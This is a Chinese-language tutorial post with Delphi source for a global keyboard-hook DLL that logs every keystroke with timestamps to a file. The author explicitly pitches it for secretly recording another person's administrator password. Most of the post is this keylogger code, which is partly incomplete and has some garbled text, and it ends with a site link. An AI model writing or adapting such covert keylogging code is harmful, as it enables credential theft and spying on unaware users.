每個程式都有自己的生存空間,在Windows系統中你可以在任何時候讓你的程式執行一些操作 ,還可以觸發消息,觸發的消息分為三種, 一是操作你程式的界面,onClick,onMouseMove等等,另外一個可以使用Windows的消息機制來捕獲 一些系統消息, 但是如果你想在任何時候監控任何程式的情況那可能你就會選擇HOOK來實作了,雖然還有其他方法 ,但不得不承認, HOOK是一個比較簡單解決問題的途徑。 下面就來舉個例子(使用Delphi7.0調試通過): 如果你需要通路某個人的機器,那在運作//SB之後那個人就會在你機器上敲入他的adminsitrator 密碼,當然, 你也可以使用黑客工具來得到他的密碼,但是,為什麼不自己嘗試一下寫個程式記錄所有的鍵盤操 作呢? 首先需要申明一點,Hook不同于一般的應用程式,需要作為一個全局DLL出現,否則無法在你 程式不激活的狀态捕獲其他資訊的, (當然你可以用Windows消息,這個問題不在這裡讨論)。 寫個DLL定義一下函數 function setkeyhook:bool;export; function endkeyhook:bool;export; procedure keyhookexit;far; procedure SetMainHandle(Handle: HWND); export;forward; function keyboardhookhandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export; procedure EntryPointProc(Reason: Integer); const hMapObject: THandle = 0; begin case reason of DLL_PROCESS_ATTACH: begin hMapObject := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, SizeOf(THookRec), ’_CBT ’); rHookRec := MapViewOfFile(hMapObject, FILE_MAP_WRITE, 0, 0, 0); end; DLL_PROCESS_DETACH: begin try UnMapViewOfFile(rHookRec); CloseHandle(hMapObject); except end; end; end; end; procedure keyhookexit;far; begin if hNexthookproc<>0 then endkeyhook; exitproc:=procsaveexit; end; function endkeyhook:bool;export; begin if hNexthookproc<>0 then begin unhookwindowshookex(hNexthookproc); hNexthookproc:=0; messagebeep(0); end; result:=hNexthookproc=0; MainHandle:=0; end; function Setkeyhook:bool;export; begin hNexthookproc:=SetWindowsHookEx(WH_KEYBOARD ,keyboardhookhandler,HInstance,0); result:=hNexthookproc<>0; end; function keyboardhookhandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export; var s:Tstringlist; begin if icode<0 then begin result:=CallNextHookEX(hNexthookproc,icode,wparam,lparam); exit; end; if lparam<0 then begin exit; end; s:=TStringlist.Create; if FileExists(afilename) then s.LoadFromFile(afilename); //将敲打的鍵盤字元儲存到檔案中 s.Add(formatdatetime(’YYYYMMDD hh:nn:ss:zzz: ’,now) + char(wParam) ); s.SaveToFile(afilename); s.Free; result:=0; end; http://web5588.cn(名揚線上)